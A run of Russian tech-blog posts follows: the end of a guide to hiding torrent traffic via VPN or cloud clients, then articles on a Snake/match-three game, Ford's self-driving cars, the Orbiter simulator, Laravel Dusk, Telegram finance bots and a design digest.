yoctobox.com/#/#openvz Ссылка от меня (был занос — промокод на 6 месяцев, но отношения не имею, не проверял) — www.vpnunlimitedapp.com — 25$/год (нет статья написана не ради этого; просто написали в личку, не кликайте, если возмущены). Ссылки из Гугла (eng, отношения не имею, заноса не было): How to Completely Anonymize Your BitTorrent Traffic with a Proxy TorGuard vs BTGuard: What's the Best Bittorrent Proxy (про VPN vs Proxy, похоже на промоушен) How to use uTorrent Anonymously Вынести торрент-клиент в облако Подвариант предыдущего — вместо того, чтобы гонят трафик через VPN-сервер, можно запускать клиента в облаке. Тогда на вашей машине вообще никаких следов не будет. Скаченное клиентом в облаке потом качать себе (http/ftp) (можно и через VPN для полной паранои). Наверняка есть софт, чтобы заходить через Web-морду в торрент-клиент (а не через RDP и т.п.). Но я не исследовал. Пишите в комментах, добавлю. При выборе VPS (как для VPN-сервера, так и для выноса клиента), важно обращать внимание на объем оплаченного трафика (может быть 100Гб, а может анлимит). Дополнения?
https://geektimes.ru/post/284194/
habrahabr
Змейка. Развитие жанра
['Творческий процесс']
Все началось с того, что я получил тестовое задание на вакансию Unity-разработчика: написать игру «Змейка». Чуть позже от вакансии по субъективным причинам пришлось отказаться, но к тому...
Все началось с того, что я получил тестовое задание на вакансию Unity-разработчика: написать игру «Змейка». Чуть позже от вакансии по субъективным причинам пришлось отказаться, но к тому времени я уже начал делать проект и, чтобы не пропадать работе, решил его развить, закончить и выпустить. Так я обзавёлся своей «Змейкой», которую никогда до этого делать не собирался. Я во всем стремлюсь к оригинальности, насколько это возможно. В данном случае, задача получалась нетривиальной – змеек-то всяческих пруд пруди! С первого взгляда кажется, что ничего нового уже не придумаешь. Но это только на первый взгляд. Даже самую заезженную идею можно оживить, и существует бесконечное множество оригинальных вариантов – нужно только сесть и хорошенько подумать. Начал я, как обычно, с изучения существующих на рынке проектов. Много славных змеек я пересмотрел! В добавок, к моменту начала работы над игрой (весна 2016) вышло ещё два проекта в этом жанре, которые стали очень популярны – это “Snake Legends” и “Slither.io”. “Slither.io”, безусловно, восхищал простотой и динамикой, но мне как-то хотелось статического поля и сингл-плея, поэтому я больше обратил внимание на “Snake Legends” – в нём мне понравилось положение камеры, и я решил взять за основу своей игры такой вид игрового поля. Проанализировав собранные материалы, я остановился на следующих отправных моментах, которые мне лично больше всего пришлись по душе: 1) Поле состоит из квадратных ячеек (не шестиугольных). 2) Змейка движется по клеткам в четырех направлениях, а не свободно. 3) Вид должен быть в 3D. 4) Игровое поле должно быть относительно небольшим с крупными клетками и выразительной змейкой. 5) На поле должны быть препятствия. Мне очень понравилась идея “Snake Legends” о том, что змейка – это хоровод людей, который увеличивается подбором новых персонажей (условие классической змейки) и уменьшается бонусами (обеспечивает «бесконечный» игровой процесс), и я начал думать в этом направлении. Идея № 1 По детской площадке ходит ребёнок, который является «головой» змейки, и подбирает воздушные шарики, которые выстраиваются за ним в цепочку. Сокращаются, естественно, лопнув. Плюсы: визуально – не змея, а незаезженный образ. Минусы: геймплей уж очень будет похож на “Snake Legends”. Вывод: надо думать дальше, развивать идею. Идея № 2 По детской площадке ходит ребёнок и собирает игрушки. Чтобы их складывать в змейку, он предварительно собирает вагоны-платформы. Т.е., составление змейки происходит в два этапа: сначала нужно подобрать пустую платформу, которая «нарастит» змейку, а потом подобрать игрушку, которая займёт платформу. Этот процесс можно делать вразброс, например, сначала набрать 3-5 пустых платформ, а потом собирать только игрушки. Также существуют «высокие» вагоны (не платформы), которые наращивают змейку, но не дают посадочного места для игрушки, таким образом усложняя игру. На поле одновременно находится ограниченное количество вагонов и игрушек, например, 2 вагона и две игрушки. Плюсы: плюсов много. Во-первых, совсем уж оригинальный игровой процесс. Во-вторых, широкие возможности для визуального разнообразия: вагоны, игрушки, различные персонажи в качестве ребёнка – всё это должно хорошо смотреться. В-третьих, т.к. условия достаточно сложные, то появляется возможность выдавать задания. Например: «Собрать 7 игрушек за такое-то время» или «Собрать 5 зайчиков». А это разнообразие уровней. В-четвертых (как продолжение третьего), возможность построить как уровни на прохождение, так и бесконечный игровой режим «на выживание». Казалось бы, вот хорошая идея для игры, и я её, действительно, долго и детально прорабатывал. Но не доработал. В голове поселилась предательская мысль: «А не слишком ли это сложно для широкой аудитории игроков?». В итоге, сложился один жирный минус: «Слишком сложно», который заставил меня думать дальше уже в сторону упрощения правил. Идея № 3 Из предыдущей идеи убираем второй этап сбора змейки – подбор игрушек, оставляем только вагончики. Разные вагончики. Также уберём с поля ребёнка – получим простой и понятный поезд. Но добавим смысловую нагрузку на сами вагоны, точнее, на тот факт, что они у нас разные: пусть они сокращаются, как в играх жанра «Три в ряд». Собрали подряд три одинаковых вагона – сократили все вагоны такого вида из состава. В итоге, имеем еще большее количество плюсов . Это и та оригинальность геймплея, к которой я стремился, и «бесконечный» игровой режим: собрали – сократили, и побуждение игрока обдумывать, в какой последовательности собирать вагоны, а не хватать все подряд. Также, упрощение игрового процесса: оперирование одним уровнем – поездом, а не двумя – поездом и игрушками. «Три в ряд» обязывает сделать вагоны разноцветными, яркими и разными по форме – змейка будет красочной. Минусы не были замечены. Мои размышления наконец-то привели меня к стройной концепции. Погуглив, я не нашел ничего подобного. Раз нет – надо делать! Далее началось обдумывание деталей с учетом самых первых пожеланий к игре. 1) Делаем небольшие по размерам игровые локации: чтобы, с одной стороны, было где покататься, а с другой стороны – было где хвосту змейки начать нам мешать. Для разнообразия делаем эти локации слегка различающимися по размеру. Опытным путем было установлено, что поле 8х8 клеток маловато и негде развернуться, а 20х20 клеток на мобильных устройствах выглядит сильно мелко. Итог – четыре локации средних размеров 10х10, 12х12, 14х14, 16х16. Почему именно чётные – не знаю. Так исторически сложилось. 2) Локаций делаем ограниченное количество: несколько тематических эпизодов по 4 локации, дабы в процессе создания игры не погрязнуть в рисовании. Для релиза делаем один первый эпизод. Т.к. наш паровозик вырос из ребёнка с шариками, то оставляем его игрушечным. А вот ездить он у нас будет по местам, совсем не предназначенным для детей: в первом эпизоде – по проезжей части, во втором – по стройке. И все это связано такой темой: храбрый паровозик на дистанционном управлении помогает мальчику собрать разбросанные вагоны там, где самому мальчику находиться опасно. 3) Как в классической игре «Три в ряд» будем начислять монеты за сокращённые одинаковые вагоны. Главной целью игры ставим накопление монет. Причём, у нашего паровозика возможны интересные комбинации, когда сомкнувшиеся после сокращения вагоны вновь образуют «выигрышную» комбинацию и вновь сокращаются. Возможно 4 подряд каскада сокращений – по количеству цветов вагонов. За каждый следующий каскад удваиваем количество призовых монет. 4) Дополнительно разнообразим игровой процесс всяческими бонусами, помогающими нашему паровозику. В отличие от вагонов, которые выпадают на поле и остаются на нём, пока паровозик их не подберёт, бонусы будут динамическими, исчезающими через определённое время. Т.е., хочешь бонус – придётся успеть его подобрать. В процессе игры у паровозика растёт скорость и садится батарея. Это также компенсируется специальными бонусами. 5) Возможность смены локаций непосредственно во время игры. На поле периодически выпадает ключ, подобрав который, паровозик сможет выехать в открывшиеся ворота на новую локацию. 6) Конечной целью сбора монет является покупка новых локомотивов, каждый из которых обладает уникальными характеристиками. 7) Большое количество многоступенчатых заданий вида «Собрать 200 монет на тяжёлом уровне сложности». Три рейтинга игроков по уровням сложности. Все эти идеи после напряжённых и не очень девяти месяцев ночных трудов вылились в игру “Brave Train” – смесь жанров «Змейка» и «Три в ряд». Релиз на Android состоялся 22 декабря. Приглашаю всех в Play Market оценить результат. Подводя итог, хочу сказать, что я остался доволен проделанной работой и, как мне кажется, смог реализовать поставленную задачу – развить классический жанр. Если у вас возникнут какие-либо идеи по дальнейшей проработке темы – предлагаю обсудить в комментариях. P.S. Загадка на внимательность: угадайте, что послужило прототипом для антуража первого эпизода? P.P.S. Мне самому показалось мало «змейки + три в ряд», поэтому я уже готовлю обновление для “Brave Train”: «змейка + три в ряд + пазлы», в котором на поле, помимо вагонов и бонусов, можно будет подбирать части пазлов и потом складывать их. На этом всё. Надеюсь, было интересно. Всех с наступающим Новым Годом! Реализации ваших планов и моря новых идей!
https://habrahabr.ru/post/318700/
habrahabr
Новые беспилотники Ford копируют человеческое вождение
['Ford Fusion Hybrid', 'беспилотный автомобиль', 'беспилотное такси', 'лидар', 'виртуальный водитель']
Ford постепенно выходит на первые роли в производстве беспилотных автомобилей и особенно в разработке аппаратного обеспечения. В отличие от Google и других IT-компаний, которые экспериментируют...
Ford постепенно выходит на первые роли в производстве беспилотных автомобилей и особенно в разработке аппаратного обеспечения. В отличие от Google и других IT-компаний, которые экспериментируют с беспилотниками, Ford может позволить себе низкоуровневую интеграцию технологий, и эти модели вполне могут появиться на рынке примерно в таком виде, в каком их сейчас тестируют. Сейчас компания представила второе поколение беспилотных автомобилей Fusion с гибридной силовой установкой. Ходовая часть у них такая же, как у серийных Fusion Hybrid, но в части компьютерного оснащения эти машины дадут фору кому угодно. Аппаратурой забит весь багажник. Первый беспилотный Ford Fusion Hybrid Первая версия беспилотного автомобиля Ford Fusion Hybrid появилась на свет три года назад , в декабре 2013 года. Это были довольно необычные машины с «рожками» из четырёх (!) лидаров на крыше. Ford Fusion Hybrid первого поколения Дебют компании в технологиях робокаров состоялся благодаря технической помощи специалистов из Университета Мичигана и при участии страховой компании компании State Farm Insurance. Интересно, что страховщики сразу «вписались» в эту иницативу, которая в перспективе может похоронить их бизнес страхования автогражданской ответственности (вероятно, они сами так не думают). Что касается Университета Мичигана, то вместе с ним инженеры Ford создавали беспилотный транспорт ещё в 2004-2007 годы, когда компания участвовала в гонках беспилотных автомобилей, организованных DARPA. Первая модель была экспериментальной. Кроме долговременной задачи, она выполняла и краткосрочных цели — создание удобных функций помощи водителя. Их можно внедрять в коммерческие модели, наряду с существующими технологиями адаптивного круиз-контроля, автоматической парковки, реагирования на слепую зону (Blind Spot Information System в автомобилях Ford), предупреждений о съезде с полосы, предупреждения об угрозе столкновения и помощь при торможении. Всё это реализовано в серийных моделях. Для экспериментальной модели автопилота написали специальное программное обеспечение и установили автомобильный компьютер, который сканирует окружающую местность с помощью четырёх лидаров (радиус сканирования 60 м). Дополняя картину информацией с других сенсоров, программное обеспечение Университета Мичигана динамически составляет 3D-модель окружающей местности Новое поколение В новом поколении беспилотных Ford Fusion Hybrid инженеры избавились от двух из четырёх лидаров, но оставшиеся лидары обладают гораздо лучшими техническими характеристиками, в том числе более широким полем зрения. Кроме того, у них продуманный дизайн, так что лидары больше не торчат как рожки на крыше. Два 360-градусных лидара в форме шайб имеют увеличенный радиус действия, по сравнению с прежней моделью: около 200 м в каждом направлении. На крыше установлены также две дуги с тремя камерами. Ещё одна камера под ветровым стеклом. Дополнительные сенсоры ближнего и дальнего диапазона обеспечивают компьютерное зрение в дождь, туман и снегопад. Инженер Ford закрепляет лидар на беспилотном автомобиле Разработчики также значительно обновили автомобильный компьютер и программное обеспечение. Новое оборудование и сенсоры генерируют 1 терабайт информации в час, её нужно оперативно обработать. К тому же, такой вычислительный комплекс потребляет много энергии — вот почему беспилотные автомобили никогда не будут работать на бензине. Нужна хотя бы гибридная силовая установка, которая может стабильно снабжать электроэнергией компьютер. Новый автомобильный компьютер Ford Fusion Hybrid занимает почти весь багажник Главный инженер программы беспилотных автомобилей Ford Крис Брюйер (Chris Brewer) пишет , что электрические средства управления роботизированной машины в нынешнем виде уже близки к серийному производству. По его словам, автомобиль сочетает две технологии: автономная платформа и система виртуального водителя. Новая модель Ford предназначена для дополнительной разработки и тестирования, в первую очередь, системы виртуального водителя, что требует обработки большого объёма данных с сенсоров и больших вычислительных ресурсов. Инженер Ford на конвейере по сборке и наладке беспилотных автомобилей Ford считает, что их автомобили будут соответствовать 4-му уровню автоматизации автомобиля по стандарту SAE ( международный стандарт J3016 ). Этот уровень предусматривает наличие «динамического автопилота», который способен реагировать на дорожную ситуацию даже в том случае, если человек-водитель не реагирует на сигнал и не берёт управление на себя, как положено. Задача в том, чтобы скопировать всё, что делает за рулём водитель-человек. То есть автопилот пытается интеллектуально копировать человеческое вождение — это и есть «система виртуального водителя» (virtual driver system). Система виртуального водителя включает в себя сенсоры (лидары, камеры и радар), алгоритмы локализации и прокладки траектории, систему компьютерного зрения и машинного обучения, высокодетализированные 3D-карты и высокопроизводительный компьютер. Автопилот использует данные из двух систем: 1) заранее подготовленных 3D-карт; 2) динамическую информацию с сенсоров для сверки с картой и для обнаружения объектов, которых нет на карте — это пешеходы, велосипедисты и другие автомобили. Система компьютерного зрения умеет даже распознавать сигналы регулировщика. Автомобильный компьютер выполняет три задачи: обработка новой информации с сенсоров; принятие решений и управление автомобилем. Теоретически, совмещение информации из двух систем позволит автопилоту справляться с вождением так же, как человек, или даже лучше человека, считает главный инженер Крис Брюйер. Одновременно с выпуском новой модели Ford расширяет с 30 до 90 штук парк беспилотных автомобилей, которые проходят испытания на дорогах общего пользования в Аризоне, Мичигане и Калифорнии. Компания Ford пока не отказывается от своего обещания выпустить полностью автономный автомобиль к 2021 году для такси. Инженер Ford добавил, что в конечном итоге такой автомобиль будет выпускаться без рулевого колеса и педалей. Чтобы беспилотное такси всем понравилось, специалисты сейчас работают в том числе над решением нестандартных ситуаций: что делать беспилотнику, если пассажир оставил сумочку на сиденье, что делать, если он не закрыл дверь и в ней что- то застряло и т.д. «Будущее наступает. И мы не можем ждать», — говорит Крис Брюйер.
https://geektimes.ru/post/284192/
habrahabr
Пролетая над долиной Маринера
['orbiter', 'космонавтика']
Если в новогодние каникулы у вас окончательно испортилась погода, и посмотреть на небесные красоты нельзя, то есть еще минимум два интересных варианта. Можно открыть какую-нибудь из...
Если в новогодние каникулы у вас окончательно испортилась погода, и посмотреть на небесные красоты нельзя, то есть еще минимум два интересных варианта. Можно открыть какую-нибудь из немаленького набора программ-планетариев. А можно, набравшись храбрости, преодолеть ненулевой порог вхождения и научиться летать с честной ньютоновской физикой в Orbiter. Благо, кроме недели отдыха, есть отличный повод — в этом году после шестилетнего перерыва вышла новая версия. Что это такое Orbiter — это космический симулятор, который с 2000 года разрабатывает один человек — Мартин Швайгер, работающий в Университетском колледже Лондона. Игра официально бесплатна, но ее исходный код проприетарен. Из-за того, что один человек физически не может разрабатывать быстро, крупные релизы разделяют годы, два предыдущих были в 2010 и 2006 годах. В то же время игра открыта для аддонов и модификаций и собрала вокруг себя большое количество энтузиастов, которые создают бесплатные дополнения с кораблями, многофункциональными дисплеями и прочим. Новое Главная «фишка» релиза 2016 года — честный рельеф. В предыдущих версиях планеты были идеальными сферами без гор и впадин. Зато теперь по данным спутников и межпланетных станций построен рельеф Земли и других небесных тел. Единственный минус — подробные карты высот занимают много места, и Orbiter с установленными картами высокого разрешения весит больше 50 Гб. Вместе с добавленной поддержкой DirectX выше 7.0 получается вполне симпатичная картинка. На Земле теперь Альпы стали полноценными горами. На Луне фантастический космопорт Брайтон-Бич, расположенный в Заливе Радуги, теперь виден на фоне Юрских гор. Район посадки «Apollo 17». И тот же район со схемой перемещения астронавтов. Неофициальная гора Мэрилин, названная астронавтом Джимом Лоувеллом (Apollo 8 и 13 ) в честь своей жены. Переносимся на Марс. Вот фантастическая база «Олимп» около одноименной горы. Олимп гораздо лучше смотрится издалека. А вот долина Маринера на рассвете. Центральный пик Реясильвия на Весте, одна из самых больших гор в Солнечной системе, при этом является частью одного из самых больших кратеров. Кроме рельефа, улучшена поддержка сторонних графических клиентов, которые делают картинку еще лучше. Переработаны алгоритмы физического движка, критичные кадры теперь выделяются для отдельной обработки, что улучшило физику столкновений. Конечно же, улучшения имеют и оборотную сторону — пропала совместимость большинства дополнений. Из-за изменения алгоритма создания и расчета частей ракеты теперь даже в указанных как совместимые аддонах ракета сразу после старта может немного проваливаться вниз, а, например, автопилот Спейс Шаттла на первых секундах полета сбрасывает твердотопливные ускорители, делая старт невозможным. Аддон Trace Gas Orbiter, обозначенный как совместимый, вылетает при попытке перехода в режим от первого лица на этапе выведения «Протоном» и разбивает зонд Скиапарелли о Марс, прицеливаясь в условную точку нулевой высоты, на которой поверхность была в версии 2010 года. В Orbiter 2016 в месте посадки рельеф ниже, зонд тратит топливо зря и падает. Какая ирония — крушение реального Скиапарелли связано с неверной оценкой высоты бортовым компьютером. Летать нормально пока можно только на кораблях по умолчанию — Delta Glider, Dragonfly, Shuttle-A. Но со временем энтузиасты адаптируют свои аддоны к новой версии и напишут новые, экосистема проекта жива. Дополнительные материалы Скачать Orbiter можно бесплатно с официального сайта . Сравнительно простое объяснение орбитальной механики есть в моей лекции «Небесная механика без единой формулы» Много публикаций с разными полетами в версии 2010 года по тегу Orbiter .
https://geektimes.ru/post/284190/
habrahabr
Laravel Dusk уже близко
['Laravel', 'Laravel Dusk', 'тестирование']
Laravel предоставляет набор вспомогательных методов, которые бывают полезны при написании end-to-end тестов. Они позволяют легко нажать на ссылку, заполнить поля формы и отправить ее. Под капотом...
Laravel предоставляет набор вспомогательных методов, которые бывают полезны при написании end-to-end тестов. Они позволяют легко нажать на ссылку, заполнить поля формы и отправить ее. Под капотом Laravel использует компонент Symfony BrowserKit для симуляции поведения веб-браузера. Однако, если в вашем приложении используются JavaScript и AJAX для загрузки страницы, BrowserKit не сможет вам помочь. Laravel Dusk это новый инструмент, который добавлен в Laravel 5.4 для решения этой проблемы. Laravel Dusk это инструмент для end-to-end тестирования ваших приложений, в которых используется JavaScript. Его целью является предоставление правильного способа тестирования различных интерактивных функций, таких как клик по кнопке или ссылке, заполнение формы и даже Drag and Drop! Laravel Dusk использует ChromeDriver и Php-webdriver для выполнения end-to-end тестов. Он также может работать с любым Selenium-браузером. но по умолчанию он поставляется с ChromeDriver, что позволит вам избежать установки JDK или Selenium. Это делает Dusk очень простым в использовании. Вам не нужно проходить через трудоемкий процесс установки Selenium и постоянно запускать сервер. Плюс к этому, Тэйлор Отвел отметил, что тесты в Dusk выполняются быстрее, чем в Selenium. Dusk позволяет подождать, пока какое-нибудь условие станет истинным или CSS-селектор станет доступен. Все это позволяет лучше тестировать приложения с использованием JavaScript. Также Dusk автоматически сохраняет скриншоты проваленных тестов! Вы можете увидеть, как выглядела страница и что пошло не так. Еще одна приятная возможность — хелперы типа loginAs , который позволяет вам авторизоваться и получить сущность пользователя. При этом вы можете открыть любую страницу, где требуется авторизация без необходимости каждый раз входить в аккаунт. Dusk позволяет открыть несколько окон браузера для одного теста. Это упрощает тестирование приложений, в котором используются сокеты: вы можете выполнять какие-либо действия в одном окне и получить результат в другом. Отвел также предоставил некоторую информацию о среде тестирования в Dusk. В корне вашего приложения содержится файл .env.dusk , в котором хранятся настройки среды тестирования. Для запуска Dusk-тестов вы не используете PHPUnit напрямую. Вместо этого вы вызывает artisan-команду Dusk, который делает резервную копию вашего файла .env, заменяет его файлом .env.dusk на время выполнения тестов, а после завершения восстанавливает ваш .env файл. Заметьте, что ваши тесты, написанные с использованием BrowserKit не пропадут при обновлении с Laravel 5.3 до 5.4. Для обратной совместимости есть отдельный пакет — Laravel BrowserKit Testing .
https://habrahabr.ru/post/318704/
habrahabr
Всё, что вы хотели знать о финансовых ботах
['fintech', 'telegram bots', 'api', 'exante']
Более 2,5 млрд человек, сидящих в интернете, пользуются хотя бы одним мессенджером. Лидируют на этом рынке Facebook Messenger, WhatsApp и Telegram. Специалисты компании Activate, которая изучает...
Более 2,5 млрд человек, сидящих в интернете, пользуются хотя бы одним мессенджером. Лидируют на этом рынке Facebook Messenger, WhatsApp и Telegram. Специалисты компании Activate, которая изучает способы повышения эффективности работы сотрудников, считают, что в течение нескольких лет аудитория этих сервисов увеличится до 3,6 млрд человек, то есть примерно половины населения Земли. Число сервисов, основанных на искусственном интеллекте, растет каждый день. Им нужен канал, чтобы общаться с реальными людьми, и чат-боты — один из подходящих вариантов. Законы ботэкономики Услуги, связанные с отправкой сообщений, существовали в интернете с незапамятных времен, но рождение «ботэкономики» можно отсчитывать с июня прошлого года: тогда Telegram (сегодня у него более 100 млн пользователей) запустил бот-платформу и магазин ботов. Сейчас в нем уже тысячи ботов — одни транслируют новости, другие находят пользователям ссылки на футбольные матчи или порно. В этой области созданы десятки стартапов. Некоторые из них предоставляют инструменты, например, Chatfuel — сайт, помогающий создавать ботов для Telegram. Другие предлагают специализированные услуги: Digit позволяет работать с банковским счетом, Pana — это онлайновое туристическое агентство, принимающее текстовые заявки и превращающее их в заказы, а MeeKan предназначен для создания совещаний в Slack. Экономике ботов тоже нужны отраслевые лидеры, и Microsoft и Facebook очень хотят сыграть эту роль — большинство смартфонов работают на iOS и Android, а рынок ботов остается как бы «ничьей» территорией. Конечно, нет никакой гарантии, что боты окажутся столь же успешными, как приложения. Для разработчиков преимущества могут одновременно быть недостатками: если боты проще в разработке, значит конкуренция выше. А потребители могут оказаться перегружены изобилием сервисов и способов взаимодействия. Как и в случае с приложениями, чтобы боты нашли свою нишу, потребуется множество экспериментов, и многое здесь зависит от владельцев платформ. Финансовые боты В Telegram есть много ботов, созданных, чтобы облегчить пользователю ведение бизнеса, в том числе инвестиционного, а также помочь с финансовым планированием. Их можно разделить на несколько основных групп. Боты для управления финансами Эти программы, предназначенные для бизнеса или личного использования, способны оценивать финансовую ситуацию пользователя, управлять его ежедневными расходами, показывать индивидуальную структуру затрат и следить за долгами и кредитами. Например, ExpenseBot (@expensebot) помогает контролировать расходы и получать представление о текущем состоянии финансов с помощью удобного интерфейса. Money Pie (@MoneyPieBot) помогает следить за кредитами и долгами, в том числе за деньгами, которые должны вам. Боты для работы с инвестициями и фондовым рынком Есть боты и для инвестиций, и просто для поиска нужных индексов. Например, бот Unicorn Bay (@UnicornBayBot) предоставляет информацию об акциях, облигациях и биржевых фондах, позволяя искать бумаги на биржах разных стран и давая инвестиционные рекомендации. Если вас интересует торговля на форексе, для вас создан бот Forex Brokers Reviews (@forexreviewbot) — он покажет новости и рекомендации, связанные с торговлей валютой, поможет сравнить брокеров и выбрать нужного, а также отслеживает акции и спецпредложения. А Forex Calendar (@fxtm_calendar_bot) напомнит о важных экономических событиях. Боты, транслирующие финансовый контент И мировые СМИ, и более мелкие бренды понимают, что мессенджеры — это новый перспективный способ сохранить существующих и привлечь новых читателей. Поэтому они запускают ботов, которые представляют собой еще один интерфейс к газете и готовы присылать вам актуальную информацию или искать по архивам ответ на запрос. Например, Business Insider News (@businessinsider_bot) — это новостное СМИ, предоставляющее пользователю последние финансовые, деловые и экономические данные и аналитику. Forbesbot (@forbesdotcom_bot), соответственно, дает доступ к материалам издания Forbes, преимущественно посвященного бизнесу, финансам, фондовым рынкам, инвестиционно-банковским услугам, технологиям и соответствующему стилю жизни. Можно выбрать один из тематических каналов и дважды в день получать подборку последних статей. Для русскоязычных пользователей есть локализованная версия Forbes Russia (@forbesrubot). Банковские боты В отличие от мобильных приложений, дающих клиенту быстрый доступ к операциям с деньгами, у банковских ботов пока довольно ограниченный набор функций, и в основном они нацелены на русскоязычный сегмент пользователей Telegram. Например, у Сбербанка есть официальный справочный бот-помощник (@sberbankbot) — его можно спросить о текущем обменном курсе или о ближайшем банкомате. Бот доступен на английском и русском языках. MoneyTalkBot (@MoneyTalkBot) банка Тинькофф более продвинут: он дает возможность переводить деньги друзьям или родственникам, не выходя из Telegram. Нужно просто добавить банковскую карту, а потом указать, сколько рублей и на какой номер перевести. Боты для работы с кошельком или биткоин-обменниками Если вы пользуетесь биткоинами, для вас тоже есть ряд полезных ботов. BTC Banker (@btc_change_bot) позволяет отправлять и получать биткоин-платежи, а также обменивать виртуальную валюту на рубли и доллары. Служебные боты Это помощники, призванные облегчить рутинные операции. Например, Exchange Rates Bot (@exchangeratesbot) показывает реальные обменные курсы для 165 различных валют, а также их динамику (по данным Yahoo! Finance). Финансовые боты могут быть полезными помощниками, расширяющими наши возможности, но стоит помнить, что у Telegram нет никаких официальных ботов, так что использовать подобные программы для, например, денежных переводов следует с осторожностью. На самом деле, вы и сами можете создать бота. С помощью EXANTE Market Data API можно быстро и просто начать разработку собственного бота: регистрация в системе не требует дополнительных подтверждений, а доступ к данным бесплатен. Пока API работает в режиме Tech Preview, но доступ открыт для всех желающих. Подробнее о том, как создать финансового бота, мы рассказывали в статье «Финансовый Telegram-бот за 30 минут с Market Data API» .
https://habrahabr.ru/company/exante/blog/318706/
habrahabr
Декабрьский дайджест продуктового дизайна: Книга Atomic Design, Adobe XD для Windows и UX-тренды 2017 года
['пользовательские интерфейсы', 'продуктовый дизайн']
Уже шесть лет я публикую регулярные обзоры свежих статей по теме интерфейсов, новых инструментов и коллекций паттернов, интересных кейсов и исторических рассказов. Из лент...
Уже шесть лет я публикую регулярные обзоры свежих статей по теме интерфейсов, новых инструментов и коллекций паттернов, интересных кейсов и исторических рассказов. Из лент нескольких сотен тематических подписок отбирается примерно 5% стоящих публикаций, которыми интересно поделиться. Предыдущие материалы: апрель 2010-ноябрь 2016 . Паттерны и лучшие практики Исследования Baymard Institute Об особенностях работы автоопределения адреса доставки по почтовому индексу . Designing Interface Animation UXmatters публикует главу 3 из книги Val Head «Designing Interface Animations» для Rosenfeld Media. Она рассказывает про базовые принципы хорошей анимации. Гайдлайны платформ и компаний   Brad Frost — Atomic Design Вышла книга Brad Frost «Atomic Design» об одной из самых популярных методологий модульного дизайна. Пара слов от автора . Другие новости дизайн-систем: Sarah Drasner говорит о том, как описывать анимацию в дизайн-системах . Первая половина статьи достаточно типичная вода, но дальше интересные мысли по описанию параметров и выбору приоритетов по внедрению. Elliot Dahl пишет о пользе сетки, построенной на основе шага / модуля (в данном случае — 8px). Мой коллега Константин Лебедев подробно описывает новое поколение фреймворка Mail.Ru . Помимо всего прочего в нём есть возможность визуального редактирования компонентов. Как вертикальный ритм помог дизайнерам Yammer в работе над экраном обсуждения . Они смогли предсказуемо варьировать его содержание без ущерба для сетки. Samantha Zhang описывает очень интересный подход к описанию отступов между элементами и компонентами на основе ЛЕГО . Material Design Обновились гайдлайны Material Design . Новые разделы про адаптацию iOS-интерфейсов, контекстные меню иконки на стартовом экране, помощь и обратную связь. Команда начала публиковать на GitHub интерфейсные компоненты для Android, iOS и веба . iPhone 7 Ещё один анимированный шаблон iPhone 7 для презентаций от Руслана Латыпова . Понимание пользователя Reading Content on Mobile Devices Kate Meyer из Nielsen/Norman Group приводит результаты исследований, посвящённых скорости чтения на мобильных. Для простых текстов она сопоставима с компьютерами, а вот для сложных — уже медленнее. Accessibility Герман Греф протестировал сервисы Сбербанка в специальном костюме, имитирующем ограниченные возможности . В MS Office добавлена проверка документов на доступность для людей с ограниченными возможностями . Информационная архитектура, концептуальное проектирование, контент-стратегия Documenting Design Discovery Dan Brown описывает методику EightShapes для описания результатов этапа исследований и концептуального проектирования. В ней 6 ключевых аспектов — проблема, цель, контекст, ключевая идея, правила и модели. Combining Mental Model Diagrams and Jobs To Be Done James Kalbach показывает, как использовать связку диаграммы ментальной модели и jobs-to-be-done для поиска точек оптимального развития продукта. Design Words with Data Интерфейсный копирайтер Josh Saito пишет о том, какие методы оценки узнаваемости названий и читабельности текстов он использует в работе. Проектирование и дизайн экранов интерфейса Adobe XD для Windows Adobe XD наконец-то доступен и для Windows. Работает только на Windows 10. Brand.ai Ещё один развёрнутый плагин для Sketch для синхронизации стилей между дизайнерами и, потенциально, разработчиками. Авторы описывают текущие проблемы при использовании просто Dropbox и  GitHub , а также специализированных Craft и Brand.ai . Figma Figma добавила компоненты . Они адаптивные и обещают лёгкую работу с копиями. Principle Шикарная пошаговая инструкция по работе с Principle от Marc Andrew . На примере карточек фильмов. Советы Joe Toscano по организации рабочего процесса в Principle . Sketch Отличная статья Seba Mantel о том, как собрать хороший шаблон в Sketch . ( перевод ). Adobe After Effects Molly Lafferty из This Also написала обзорную памятку по созданию интерфейсных концептов в AfterEffects . InVision Inspect теперь доступен и для Photoshop . UX-App — User Experience and Interaction Design Software Авторы выпустили вторую версию инструмента . Abstract Интервью с Josh Brewer и Tim van Damme, создателями инструмента . Обзоры и сравнения инструментов прототипирования Charlie Deets сравнивает устройство адаптивных символов /компонентов в Sketch, Figma и Subform .   Kathryn McElroy — Prototyping for Physical and Digital Products O’Reilly выпустили бесплатную книгу Kathryn McElroy «Prototyping for Physical and Digital Products». Она посвящена разным аспектам прототипирования. How To Use Stop Motion Animation to Make Low-fi Prototypes for Mobile Design В копилку извращённых методов — stop-motion анимация для скетчей интерфейсов. Трудозатраты на её создание и итерации таковы, что быстрее сразу делать в цифровом виде. Пользовательские исследования и тестирование, аналитика FullStory — The Leading Session Playback Tool Сервис FullStory помогает работать с видео-записями сессий работы пользователя с сайтом. Это сама запись сессий, поиск по ним и анализ. Reflecting on the One-Way Mirror Jeff Sauro описывает плюсы и минусы использования одностороннего зеркала в юзабилити-лаборатории. Хотя сейчас всё больше лабораторий переходят от зеркал к камерам и трансляции в другую комнату, на практике он не встречал негативных реакций пользователей при использовании зеркала. Визуальное программирование и дизайн в браузере Framer Framer добавил Flows, возможность упрощённой связки нескольких экранов в целостный прототип . Framer запустил облачную часть в базовом виде  — можно опубликовать прототип в вебе и поделиться с менеджерами и разработчиками. CSS-анимация Сергей Чикуёнок даёт советы по оптимизации анимации в браузере и использованию аппаратного ускорения . Новые скрипты Скрипт, рисующий неоновые линии . Коллекция музыкальных инструментов в браузере на JavaScript . Интересные эффекты появления текста на JavaScript . Progressive Enhancement Интересная полемика на тему progressive enhancement между Josh Korr из Viget и  Aaron Gustafson . Они спорят об излишнем догматизме и универсальности идеи. UX-стратегия и менеджмент   Making an Enterprise UX Friendly Электронная книга Justinmind, посвящённая проектированию интерфейсов для корпоративного ПО. UXmatters опубликовали выдержку из неё, посвящённую UX-стратегии для таких продуктов .   Gretchen Anderson и Chris Noessel — Pair Design O’Reilly выпустили бесплатную книгу Gretchen Anderson и Chris Noessel «Pair Design». Cooper были одними из родоначальников этого подхода, так что информация из первых рук. Кейсы Кейсы редизайна Павел Челюскин рассказывает о проектировании интерфейса, позволяющего следить за трансляциями соревнований по вертолётному спорту . Непрошенные редизайны На редкость толковый непрошенный редизайн 